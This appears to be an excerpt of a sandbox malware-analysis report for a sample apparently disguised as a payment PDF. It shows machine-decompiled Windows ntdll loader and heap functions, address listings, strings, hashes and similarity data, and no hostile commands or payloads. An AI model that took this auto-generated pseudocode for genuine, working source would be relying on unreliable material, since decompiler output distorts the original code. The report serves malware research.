										__eflags =  *((intOrPtr*)(_t298 + 0x10)) + _t245 -  *((intOrPtr*)(_t281 + 0x28));
										_t280 = _v8;
										if( *((intOrPtr*)(_t298 + 0x10)) + _t245 !=  *((intOrPtr*)(_t281 + 0x28))) {
											 *_t280 =  *_t280 + ( *_t232 & 0x0000ffff) * 8;
											goto L30;
										}
										_t154 =  *_t280;
										goto L29;
									} else {
										L29:
										L3348096B(_t300, _v12,  *((intOrPtr*)(_t298 + 0x10)) + 0xffffffe8 +  *_t280, _t245 - _t154, _t232, _t280);
										 *_v8 =  *_v8 << 3;
										L30:
										_t247 = _v12;
										 *((char*)(_t232 + 3)) = 0;
										_t282 =  *((intOrPtr*)(_t247 + 0x18));
										if( *((intOrPtr*)(_t247 + 0x18)) != _t247) {
											_t162 = (_t232 - _t247 >> 0x10) + 1;
											_v32 = _t162;
											__eflags = _t162 - 0xfe;
											if(_t162 >= 0xfe) {
												L33535FED(3, _t282, _t232, _t247, 0, 0);
												_t162 = _v32;
											}
										} else {
											_t162 = 0;
										}
										 *((char*)(_t232 + 6)) = _t162;
										_t164 =  *( *[fs:0x30] + 0x50);
										if(_t164 != 0) {
											__eflags =  *_t164;
											if( *_t164 == 0) {
												goto L33;
											}
											_t165 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
											L34:
											if( *_t165 != 0) {
												_t166 =  *[fs:0x30];
												__eflags =  *(_t166 + 0x240) & 0x00000001;
												if(( *(_t166 + 0x240) & 0x00000001) == 0) {
													goto L35;
												}
												__eflags = L33483C40();
												if(__eflags == 0) {
													_t180 = 0x7ffe0380;
												} else {
													_t180 =  &(( *( *[fs:0x30] + 0x50))[0x89]);
												}
												_t299 = _v8;
												E3352F1C3(_t232, _t300, _t232, __eflags,  *_v8,  *(_t300 + 0x74) << 3,  *_t180 & 0x000000ff);
												L36:
												_t168 =  *( *[fs:0x30] + 0x50);
												if(_t168 != 0) {
													__eflags =  *_t168;
													if( *_t168 == 0) {
														goto L37;
													}
													_t169 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
													L38:
													if( *_t169 != 0) {
														__eflags = L33483C40();
														if(__eflags == 0) {
															_t171 = 0x7ffe038a;
														} else {
															_t171 =  &(( *( *[fs:0x30] + 0x50))[0x8c]);
														}
														E3352F1C3(_t232, _t300, _t232, __eflags,  *_t299,  *(_t300 + 0x74) << 3,  *_t171 & 0x000000ff);
													}
													return _t232;
												}
												L37:
												_t169 = 0x7ffe038a;
												goto L38;
											}
											L35:
											_t299 = _v8;
											goto L36;
										}
										L33:
										_t165 = 0x7ffe0380;
										goto L34;
									}
								} else {
									_t287 =  *(_t300 + 0xb8);
									if(_t287 != 0) {
										_t256 = _t150 >> 0xc;
										__eflags = _t256 - _t287[1];
										if(_t256 < _t287[1]) {
											L79:
											E3348036A(_t300, _t287, 0, _t298, _t256, _t150);
											goto L24;
										} else {
											goto L75;
										}
										while(1) {
											L75:
											_t197 =  *_t287;
											__eflags = _t197;
											_v32 = _t197;
											_t150 =  *(_t298 + 0x14);
											if(_t197 == 0) {
												break;
											}
											_t287 = _v32;
											__eflags = _t256 - _t287[1];
											if(_t256 >= _t287[1]) {
												continue;
											}
											goto L79;
										}
										_t256 = _t287[1] - 1;
										__eflags = _t287[1] - 1;
										goto L79;
									}
									L24:
									_t258 =  *((intOrPtr*)(_t298 + 4));
									_t195 =  *_t298;
									_t288 =  *_t258;
									if(_t288 !=  *((intOrPtr*)(_t195 + 4)) || _t288 != _t298) {
										L33535FED(0xd, 0, _t298,  *((intOrPtr*)(_t195 + 4)), _t288, 0);
									} else {
										 *_t258 = _t195;
										 *((intOrPtr*)(_t195 + 4)) = _t258;
									}
									goto L27;
								}
							}
							L15:
							_t146 = 0x7ffe0380;
							goto L16;
						}
						_t271 =  *_t215;
						if(_t271 != 0) {
							L63:
							_t101 = _t298 - 8; // -8
							_t232 = _t101;
							__eflags = _v28 +  *_t276 - _t271;
							if(__eflags <= 0) {
								goto L11;
							}
							_t220 =  *(_v24 + 4);
							__eflags =  *(_v24 + 4);
							if(__eflags != 0) {
								L33535FED(0x15, _t300, 0, _t220, _v32, _v28);
								_t276 = _v8;
							}
							_t143 = 0xc000012d;
							goto L12;
						}
						_t271 =  *0x3356432c; // 0x0
						_v24 = 0x3356432c;
						if(_t271 != 0) {
							goto L63;
						}
						goto L11;
					}
				}
			}

0x33480689
0x3348068d
0x33480690
0x33480699
0x334806a3
0x33480929
0x00000000
0x33480929
0x334806b0
0x334d4e97
0x334d4e99
0x334d4e9f
0x334d4ea5
0x334d4ea9
0x334d4eca
0x334d4ecf
0x334d4eab
0x334d4ec0
0x334d4ec5
0x334d4ed7
0x334d4edc
0x334d4ee4
0x334d4eeb
0x334d4ef6
0x334d4ef6
0x334d4eeb
0x334d4e99
0x334806b6
0x334806b9
0x334806b9
0x334806be
0x33480921
0x334806c4
0x334806c4
0x334806c4
0x334806ca
0x334806d3
0x334806d9
0x334806dc
0x334d4f0a
0x334d4f10
0x334d4f13
0x00000000
0x334806e2
0x334806e2
0x334806f2
0x33480930
0x33480936
0x33480938
0x3348093e
0x3348093e
0x33480938
0x334806ff
0x334d4f1b
0x334d4f1d
0x334d4f22
0x334d4f29
0x334d4f2a
0x334d4f2c
0x334d4f2d
0x334d4f2f
0x334d4f34
0x334d4f36
0x334d4f39
0x334d4f44
0x334d4f4d
0x334d4f4f
0x334d4f54
0x334d4f5b
0x334d4f5b
0x00000000
0x334d4f5b
0x334d4f3b
0x334d4f3d
0x00000000
0x00000000
0x334d4f3f
0x334d4f42
0x00000000
0x00000000
0x00000000
0x33480705
0x33480705
0x3348070c
0x3348070e
0x33480724
0x33480727
0x3348072d
0x33480730
0x33480751
0x33480751
0x33480757
0x3348075c
0x3348075d
0x3348075f
0x33480760
0x33480762
0x33480767
0x3348076a
0x3348076a
0x33480770
0x33480772
0x334d4f9f
0x00000000
0x334d4f9f
0x3348077e
0x33480783
0x334d4faa
0x334d4fad
0x00000000
0x00000000
0x334d4fbc
0x3348078e
0x33480791
0x334d4fcc
0x334d4fd3
0x334d4fe2
0x334d4fe2
0x334d4fd3
0x3348079b
0x334807a0
0x334807a4
0x334807b0
0x334807b7
0x334d4fec
0x334d4ff1
0x334d4ff1
0x334807b7
0x334807bd
0x334807c1
0x334807c5
0x334807c8
0x334807cb
0x334807d0
0x334807d3
0x334807d6
0x334d5008
0x334807e4
0x334807e4
0x334807e6
0x334807e6
0x334807e9
0x334807ee
0x3348081b
0x3348081b
0x3348081e
0x33480827
0x3348082d
0x33480833
0x33480839
0x3348083f
0x33480848
0x334808fd
0x33480903
0x33480903
0x3348084e
0x33480851
0x33480855
0x33480945
0x3348094d
0x33480950
0x33480953
0x33480964
0x00000000
0x33480964
0x33480955
0x00000000
0x3348085b
0x3348085b
0x3348086e
0x33480876
0x33480879
0x33480879
0x3348087c
0x33480880
0x33480885
0x334808dd
0x334808de
0x334808e1
0x334808e6
0x334808f3
0x334808f8
0x334808f8
0x33480887
0x33480887
0x33480887
0x33480889
0x33480892
0x33480897
0x334d505d
0x334d5060
0x00000000
0x00000000
0x334d506f
0x334808a2
0x334808a5
0x334d5079
0x334d507f
0x334d5086
0x00000000
0x00000000
0x334d5091
0x334d5093
0x334d50a5
0x334d5095
0x334d509e
0x334d509e
0x334d50af
0x334d50be
0x334808ae
0x334808b4
0x334808b9
0x334d50c8
0x334d50cb
0x00000000
0x00000000
0x334d50da
0x334808c4
0x334808c7
0x334d50e9
0x334d50eb
0x334d50fd
0x334d50ed
0x334d50f6
0x334d50f6
0x334d5113
0x334d5113
0x00000000
0x334808cd
0x334808bf
0x334808bf
0x00000000
0x334808bf
0x334808ab
0x334808ab
0x00000000
0x334808ab
0x3348089d
0x3348089d
0x00000000
0x3348089d
0x334807f0
0x334807f0
0x334807f8
0x334d5014
0x334d5017
0x334d501a
0x334d5036
0x334d503d
0x00000000
0x00000000
0x00000000
0x00000000
0x334d501c
0x334d501c
0x334d501c
0x334d501e
0x334d5020
0x334d5023
0x334d5026
0x00000000
0x00000000
0x334d5028
0x334d502b
0x334d502e
0x00000000
0x00000000
0x00000000
0x334d5030
0x334d5035
0x334d5035
0x00000000
0x334d5035
0x334807fe
0x334807fe
0x33480801
0x33480803
0x33480808
0x334d5053
0x33480816
0x33480816
0x33480818
0x33480818
0x00000000
0x33480808
0x334807ee
0x33480789
0x33480789
0x00000000
0x33480789
0x33480732
0x33480736
0x334d4f63
0x334d4f66
0x334d4f66
0x334d4f6b
0x334d4f6d
0x00000000
0x00000000
0x334d4f76
0x334d4f79
0x334d4f7b
0x334d4f8d
0x334d4f92
0x334d4f92
0x334d4f95
0x00000000
0x334d4f95
0x3348073c
0x33480742
0x3348074b
0x00000000
0x00000000
0x00000000
0x3348074b
0x334806ff

Strings

(UCRBlock->Size >= *Size), xrefs: 334D4ED7
HEAP: , xrefs: 334D4ECA
HEAP[%wZ]: , xrefs: 334D4EBB

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 315cf4c1f9ff1e84c5decb4a6e9f3689de949f75af2c623fea7163df8c95b7c6
Instruction ID: 6f122a72da122f851550c2e2faf8432d895a4f87db7313037628d955783f613a
Opcode Fuzzy Hash: 315cf4c1f9ff1e84c5decb4a6e9f3689de949f75af2c623fea7163df8c95b7c6
Instruction Fuzzy Hash: 69F1BA74A00701EFEB05CF68D890B6AB7B5FF44300F1485A8E4559B792DB39E982CF98

Uniqueness

Uniqueness Score: -1.00%

Function 33499723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179
timeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E33499723(signed int __ecx, void* __edx) {
				char _v4;
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t49;
				signed int _t50;
				signed int _t60;
				signed int _t69;
				signed int _t70;
				intOrPtr _t79;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t85;
				intOrPtr _t86;
				signed int _t87;
				void* _t88;
				signed int _t89;
				signed int _t93;
				signed int _t99;
				signed int* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				intOrPtr* _t105;
				void* _t107;
				signed int _t108;
				intOrPtr* _t110;
				signed int _t112;
				signed int _t113;
				void* _t115;

				_t87 = __ecx;
				_t115 = (_t113 & 0xfffffff8) - 0x14;
				_t110 = __ecx;
				_v16 =  *[fs:0x30];
				_t82 = 0;
				_v12 = __ecx;
				_push(_t103);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L9:
					_t13 = _t110 + 0x20;
					 *_t13 =  *(_t110 + 0x20) | 0xffffffff;
					__eflags =  *_t13;
					E3349A4E3(_t82, _t87, _t103, _t110,  *_t13);
					L10:
					__eflags =  *0x335665f0 - _t82; // 0x0
					if(__eflags != 0) {
						_t99 =  *0x7ffe0330;
						_t83 =  *0x33569214; // 0x0
						_t88 = 0x20;
						_t87 = _t88 - (_t99 & 0x0000001f);
						asm("ror ebx, cl");
						_t82 = _t83 ^ _t99;
					}
					L3347FED0(0x335632d8);
					_t49 =  *_t110;
					while(1) {
						_v20 = _t49;
						__eflags = _t49 - _t110;
						if(_t49 == _t110) {
							break;
						}
						_t16 = _t49 - 0x54; // 0x774936a0
						_t108 = _t16;
						__eflags =  *(_t108 + 0x34) & 0x00000008;
						if(( *(_t108 + 0x34) & 0x00000008) != 0) {
							_push(_t87);
							_push("true");
							_pop(_t102);
							L33490C2C(_t108, _t102);
							__eflags = _t82;
							if(_t82 != 0) {
								 *0x335691e0(_t108);
								 *_t82();
							}
							_t87 = _t108;
							L334798DE(_t87, "true");
							_t79 = _v24;
							__eflags =  *(_t79 + 0x68) & 0x00000100;
							if(( *(_t79 + 0x68) & 0x00000100) != 0) {
								_t87 = _t108;
								E334F85AA(_t87);
							}
						}
						__eflags =  *0x335637c0 & 0x00000005;
						if(__eflags != 0) {
							_t43 = _t108 + 0x24; // -48
							E334EE692("minkernel\\ntdll\\ldrsnap.c", 0xcdd, "LdrpUnloadNode", "true", "Unmapping DLL \"%wZ\"\n", _t43);
							_t115 = _t115 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t108 + 0x18)));
						E3349A390(_t82, _t87, _t108, _t110, __eflags);
						_t49 =  *_v28;
					}
					_push(0x335632d8);
					_t50 = E3347E740(_t87);
					while(1) {
						L3:
						_t89 =  *(_t110 + 0x18);
						if(_t89 == 0) {
							break;
						}
						_t104 =  *_t89;
						__eflags = _t104 - _t89;
						if(_t104 != _t89) {
							_t50 =  *_t104;
							 *_t89 = _t50;
						} else {
							_t32 = _t110 + 0x18;
							 *_t32 =  *(_t110 + 0x18) & 0x00000000;
							__eflags =  *_t32;
						}
						__eflags = _t104;
						if(_t104 == 0) {
							break;
						} else {
							L33482330(_t50, 0x33566668);
							_t86 =  *((intOrPtr*)(_t104 + 4));
							_t100 = _t104 + 8;
							_t93 =  *(_t86 + 0x1c);
							_t60 =  *_t93;
							_v16 = _t60;
							__eflags = _t60 - _t100;
							if(_t60 == _t100) {
								L27:
								 *_t93 =  *_t100;
								__eflags =  *(_t86 + 0x1c) - _t100;
								if(__eflags == 0) {
									asm("sbb eax, eax");
									_t69 =  ~(_t93 - _t100) & _t93;
									__eflags = _t69;
									 *(_t86 + 0x1c) = _t69;
								}
								_push( &_v4);
								L3348D963(_t86, _t86, 0, _t104, _t110, __eflags);
								E334824D0(0x33566668);
								__eflags = _v12;
								if(_v12 != 0) {
									E33499723(_t86, 0);
								}
								_t50 = E33483BC0( *0x33565d74, 0, _t104);
								continue;
							}
							_t112 = _t60;
							do {
								_t70 =  *_t112;
								_t93 = _t112;
								_t112 = _t70;
								__eflags = _t70 - _t100;
							} while (_t70 != _t100);
							_t110 = _v8;
							goto L27;
						}
					}
					_t105 =  *_t110;
					 *(_t110 + 0x20) = 0xfffffffe;
					if(_t105 == _t110) {
						L8:
						return _t50;
					} else {
						goto L5;
					}
					do {
						L5:
						_t85 =  *_t105;
						_t107 = _t105 + 0xffffffac;
						 *(_t107 + 0x34) =  *(_t107 + 0x34) | 0x00000002;
						L33499938(L33482330(_t50, 0x33566668), _t107);
						if(( *(_t107 + 0x34) & 0x00000080) != 0) {
							_t28 = _t107 + 0x74; // -56
							L33499B40(_t85, _t107, _t110, 0x335667ac);
							_t29 = _t107 + 0x68; // -68
							L33499B40(_t85, _t107, _t110, 0x335667a4);
							 *(_t107 + 0x20) =  *(_t107 + 0x20) & 0x00000000;
						}
						E334824D0(0x33566668);
						if( *0x33565d70 != 0) {
							L334A680F(_t107);
						}
						_t50 = E3348D3E1(_t85, _t107, _t110);
						_t105 = _t85;
					} while (_t85 != _t110);
					goto L8;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L10;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 9) {
					goto L9;
				}
				goto L3;
			}

0x33499723
0x3349972b
0x33499736
0x33499738
0x3349973c
0x3349973e
0x33499742
0x33499747
0x334997bc
0x334997bc
0x334997bc
0x334997bc
0x334997c0
0x334997c5
0x334997c5
0x334997cb
0x33499900
0x33499908
0x33499913
0x33499914
0x33499916
0x33499918
0x33499918
0x334997d6
0x334997db
0x334997dd
0x334997dd
0x334997e1
0x334997e3
0x00000000
0x00000000
0x334997e5
0x334997e5
0x334997e8
0x334997ec
0x334997ee
0x334997ef
0x334997f1
0x334997f4
0x334997f9
0x334997fb
0x33499922
0x33499928
0x33499928
0x33499803
0x33499805
0x3349980a
0x3349980e
0x33499815
0x334ddade
0x334ddae0
0x334ddae0
0x33499815
0x3349981b
0x33499822
0x334ddaea
0x334ddb04
0x334ddb09
0x334ddb09
0x33499828
0x3349982a
0x3349982d
0x33499836
0x33499836
0x3349983a
0x3349983f
0x33499755
0x33499755
0x33499755
0x3349975a
0x00000000
0x00000000
0x3349986e
0x33499870
0x33499872
0x3349992f
0x33499931
0x33499878
0x33499878
0x33499878
0x33499878
0x33499878
0x3349987c
0x3349987e
0x00000000
0x33499884
0x33499889
0x3349988e
0x33499891
0x33499894
0x33499897
0x33499899
0x3349989d
0x3349989f
0x334998b1
0x334998b3
0x334998b5
0x334998b8
0x334998c0
0x334998c2
0x334998c2
0x334998c4
0x334998c4
0x334998cd
0x334998d0
0x334998da
0x334998df
0x334998e4
0x334998e8
0x334998e8
0x334998f6
0x00000000
0x334998f6
0x334998a1
0x334998a3
0x334998a3
0x334998a5
0x334998a7
0x334998a9
0x334998a9
0x334998ad
0x00000000
0x334998ad
0x3349987e
0x33499760
0x33499762
0x3349976b
0x334997b5
0x334997bb
0x00000000
0x00000000
0x00000000
0x3349976d
0x3349976d
0x3349976d
0x3349976f
0x33499777
0x33499782
0x3349978b
0x33499849
0x33499852
0x33499857
0x33499860
0x33499865
0x33499865
0x33499796
0x334997a2
0x334ddb13
0x334ddb13
0x334997aa
0x334997af
0x334997b1
0x00000000
0x3349976d
0x3349974d
0x00000000
0x00000000
0x33499753
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33499922

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 334DDAFF
Unmapping DLL "%wZ", xrefs: 334DDAEE
LdrpUnloadNode, xrefs: 334DDAF5

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 538534948d89f38a1a373bb4416208cbd560d40087ac64bb2cb1527b6a539102
Instruction ID: cabc2c88535244d3e20a1c4f59a7a2f8ea0f28c421b1540a4d593c987a689795
Opcode Fuzzy Hash: 538534948d89f38a1a373bb4416208cbd560d40087ac64bb2cb1527b6a539102
Instruction Fuzzy Hash: 91512475A013019FF314DF38C884B997BE4BF85314F1806ADE4619BB92EB71D842CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 334AC640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E334AC640(void* __ebx, signed int __ecx, void* __edx, void* __edi) {
				signed int _v20;
				signed int _v36;
				char _v544;
				char _v552;
				char _v556;
				char* _v560;
				short _v562;
				signed int _v564;
				short _v570;
				char _v572;
				signed int _v580;
				char _v588;
				signed int _v604;
				signed short _v608;
				void* __esi;
				void* __ebp;
				void* _t25;
				signed int* _t27;
				signed int _t39;
				signed int _t42;
				signed int _t54;
				signed char _t56;
				signed int* _t58;
				intOrPtr* _t65;
				signed int _t67;
				void* _t70;
				signed int _t72;
				signed int _t75;
				void* _t77;
				signed int _t80;
				void* _t82;
				signed int _t85;
				signed int _t87;

				_t70 = __edx;
				_push(__ebx);
				_push(__edi);
				_t72 = __ecx;
				_t25 = E33490130();
				if(_t25 != 0) {
					L33482330(_t25, 0x33565b5c);
					_t27 =  *0x33569224; // 0x0
					_t75 =  *_t27;
					__eflags = _t72;
					if(_t72 != 0) {
						__eflags = _t75;
						if(_t75 == 0) {
							goto L13;
						} else {
							_t80 = _t75 - 1;
							goto L7;
						}
					} else {
						__eflags = _t75;
						if(_t75 == 0) {
							E33469050( *0x3356921c, _t75);
						}
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							L13:
							E334824D0(0x33565b5c);
							_t65 = 0xe;
							asm("int 0x29");
							_t87 = (_t85 & 0xfffffff8) - 0x224;
							_v20 =  *0x3356b370 ^ _t87;
							_t76 = _t65;
							 *0x335691e0( &_v544, 0x104, _t75, _t82);
							_t67 =  *_t65() + _t33;
							__eflags = _t67;
							if(_t67 != 0) {
								__eflags =  *0x3356660c;
								_v560 =  &_v552;
								_v564 = _t67;
								_v562 = 0x208;
								if(__eflags == 0) {
									L25:
									_push( &_v556);
									_push( &_v564);
									E334FCB20(0x33565b5c, _t72, _t76, __eflags);
									goto L15;
								} else {
									_t76 = ( *0x33566608 & 0x0000ffff) + 2 + _t67;
									_t42 = L33485D90(_t67,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t76);
									_v580 = _t42;
									__eflags = _t42;
									if(_t42 != 0) {
										__eflags = 0;
										_v570 = _t76;
										_v572 = 0;
										E334910D0(_t67,  &_v572, 0x33566608);
										E334910D0(_t67,  &_v580,  &_v572);
										L3347FE40(_t67,  &_v588, ";");
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x3356660c);
										 *0x33566608 = _v608;
										_t54 = _v604;
										 *0x3356660c = _t54;
										 *0x33566604 = _t54;
										E334FD4A0(_t67, __eflags);
										goto L25;
									} else {
										_t56 =  *0x335637c0; // 0x0
										__eflags = _t56 & 0x00000003;
										if((_t56 & 0x00000003) != 0) {
											_push("Failed to reallocate the system dirs string !\n");
											_push(0);
											_push("LdrpInitializePerUserWindowsDirectory");
											_push(0xcf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E334EE692();
											_t56 =  *0x335637c0; // 0x0
											_t87 = _t87 + 0x14;
										}
										__eflags = _t56 & 0x00000010;
										if((_t56 & 0x00000010) != 0) {
											asm("int3");
										}
										_t39 = 0xc0000017;
									}
								}
							} else {
								L15:
								_t39 = 0;
								__eflags = 0;
							}
							_pop(_t77);
							__eflags = _v36 ^ _t87;
							return E334B4B50(_t39, 0x33565b5c, _v36 ^ _t87, _t70, _t72, _t77);
						} else {
							_t80 = _t75 + 1;
							__eflags = _t80;
							L7:
							_t58 =  *0x33569224; // 0x0
							 *_t58 = _t80;
							__eflags = _t72;
							if(_t72 != 0) {
								__eflags = _t80;
								if(_t80 == 0) {
									E33469050( *0x3356921c, "true");
								}
							}
							_t25 = E334824D0(0x33565b5c);
							goto L1;
						}
					}
				} else {
					L1:
					return _t25;
				}
			}

0x334ac640
0x334ac642
0x334ac644
0x334ac645
0x334ac647
0x334ac64e
0x334ac65a
0x334ac65f
0x334ac664
0x334ac666
0x334ac668
0x334ac6a4
0x334ac6a6
0x00000000
0x334ac6a8
0x334ac6a8
0x00000000
0x334ac6a8
0x334ac66a
0x334ac66a
0x334ac66c
0x334ac675
0x334ac675
0x334ac67a
0x334ac67d
0x334ac6ab
0x334ac6ac
0x334ac6b3
0x334ac6b4
0x334ac6be
0x334ac6cb
0x334ac6dc
0x334ac6df
0x334ac6e9
0x334ac6e9
0x334ac6eb
0x334e8090
0x334e809b
0x334e80a4
0x334e80a9
0x334e80ae
0x334e817f
0x334e8183
0x334e8188
0x334e8189
0x00000000
0x334e80b4
0x334e80c4
0x334e80cc
0x334e80d1
0x334e80d5
0x334e80d7
0x334e8114
0x334e8116
0x334e811b
0x334e812a
0x334e8139
0x334e8148
0x334e815e
0x334e8167
0x334e816c
0x334e8170
0x334e8175
0x334e817a
0x00000000
0x334e80d9
0x334e80d9
0x334e80de
0x334e80e0
0x334e80e2
0x334e80e7
0x334e80e9
0x334e80ee
0x334e80f3
0x334e80f8
0x334e80fd
0x334e8102
0x334e8102
0x334e8105
0x334e8107
0x334e8109
0x334e8109
0x334e810a
0x334e810a
0x334e80d7
0x334ac6f1
0x334ac6f1
0x334ac6f1
0x334ac6f1
0x334ac6f1
0x334ac6fa
0x334ac6fb
0x334ac705
0x334ac67f
0x334ac67f
0x334ac67f
0x334ac680
0x334ac680
0x334ac685
0x334ac687
0x334ac689
0x334ac68b
0x334ac68d
0x334ac697
0x334ac697
0x334ac68d
0x334ac69d
0x00000000
0x334ac69d
0x334ac67d
0x334ac650
0x334ac650
0x334ac653
0x334ac653

APIs

RtlDebugPrintTimes.NTDLL ref: 334AC6DF

Strings

Failed to reallocate the system dirs string !, xrefs: 334E80E2
LdrpInitializePerUserWindowsDirectory, xrefs: 334E80E9
minkernel\ntdll\ldrinit.c, xrefs: 334E80F3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 7ed84c9ec318786247a14d426a2faf450174469320742cd5b4bdcc56e8a0dbc8
Instruction ID: 608766cab20955835afd62410952acbe5f87e579dfefb577e1388184e8c7c984
Opcode Fuzzy Hash: 7ed84c9ec318786247a14d426a2faf450174469320742cd5b4bdcc56e8a0dbc8
Instruction Fuzzy Hash: 9E41C0B5905300AFD750EF6CD940F4BB7E8AF54750F04992EB958E7261EB70D802CB99

Uniqueness

Uniqueness Score: -1.00%

Function 334F43D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E334F43D5(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __esi;
				signed char _t37;
				signed int _t41;
				intOrPtr _t44;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				void* _t54;
				signed int _t59;
				signed int _t60;
				signed int _t64;
				signed int _t66;
				intOrPtr _t68;
				signed int _t69;
				intOrPtr _t70;

				_t68 = _a4;
				_t54 = __edx;
				_v28 = __ecx;
				_v24 = E334F4B46(_t68);
				_v12 =  *((intOrPtr*)(_t54 + 0x2c));
				_v8 =  *((intOrPtr*)(_t54 + 0x30));
				_v20 =  *((intOrPtr*)(_t54 + 0x90));
				_t37 =  *0x33566714; // 0x0
				_v16 = _t68;
				_t69 =  *0x33566710; // 0x0
				if((_t37 & 0x00000001) != 0) {
					if(_t69 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t69 = _t69 ^ 0x33566710;
					}
				}
				_t64 = _t37 & 1;
				while(_t69 != 0) {
					__eflags = E334F4528(_t54, _t69,  &_v24, _t69);
					if(__eflags >= 0) {
						if(__eflags <= 0) {
							L25:
							while(_t69 != 0) {
								_t41 = E334F4528(_t54, _t69,  &_v24, _t69);
								__eflags = _t41;
								if(_t41 != 0) {
									break;
								}
								_t66 =  *0x33565ca0; // 0x0
								__eflags = _t66;
								if(_t66 == 0) {
									L28:
									__eflags =  *0x335637c0 & 0x00000005;
									_t70 =  *((intOrPtr*)(_t69 + 0x20));
									if(( *0x335637c0 & 0x00000005) != 0) {
										_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
										_push( *((intOrPtr*)(_t44 + 0x2a8)));
										_push( *((intOrPtr*)(_t44 + 0x2a4)));
										_push(_a4);
										_push( *((intOrPtr*)(_t54 + 0x30)));
										_push( *((intOrPtr*)(_t54 + 0x2c)));
										_push( *((intOrPtr*)(_v28 + 0x30)));
										E334EE692("minkernel\\ntdll\\ldrredirect.c", 0x12b, "LdrpCheckRedirection", "true", "Import Redirection: %wZ %wZ!%s redirected to %wZ\n",  *((intOrPtr*)(_v28 + 0x2c)));
									}
									L27:
									return _t70;
								}
								 *0x335691e0( *((intOrPtr*)(_v28 + 0x28)),  *((intOrPtr*)(_t69 + 0x24)));
								_t49 =  *_t66();
								__eflags = _t49;
								if(_t49 != 0) {
									goto L28;
								}
								_t50 =  *(_t69 + 4);
								_t59 = _t69;
								__eflags = _t50;
								if(_t50 == 0) {
									while(1) {
										_t69 =  *(_t69 + 8) & 0xfffffffc;
										__eflags = _t69;
										if(_t69 == 0) {
											goto L25;
										}
										__eflags =  *_t69 - _t59;
										if( *_t69 == _t59) {
											goto L25;
										}
										_t59 = _t69;
									}
									continue;
								}
								_t69 = _t50;
								_t60 =  *_t69;
								__eflags = _t60;
								if(_t60 == 0) {
									continue;
								} else {
									goto L20;
								}
								do {
									L20:
									_t51 =  *_t60;
									_t69 = _t60;
									_t60 = _t51;
									__eflags = _t51;
								} while (_t51 != 0);
							}
							_t70 = 0xffbadd11;
							goto L27;
						}
						_t52 =  *(_t69 + 4);
						L9:
						__eflags = _t64;
						if(_t64 == 0) {
							L12:
							_t69 = _t52;
							continue;
						}
						__eflags = _t52;
						if(_t52 == 0) {
							goto L12;
						}
						_t69 = _t69 ^ _t52;
						continue;
					}
					_t52 =  *_t69;
					goto L9;
				}
				goto L25;
			}

0x334f43e2
0x334f43e5
0x334f43e7
0x334f43f3
0x334f43fa
0x334f4401
0x334f440b
0x334f440f
0x334f4414
0x334f4418
0x334f4420
0x334f4424
0x334f442e
0x334f442e
0x334f4426
0x334f4426
0x334f4426
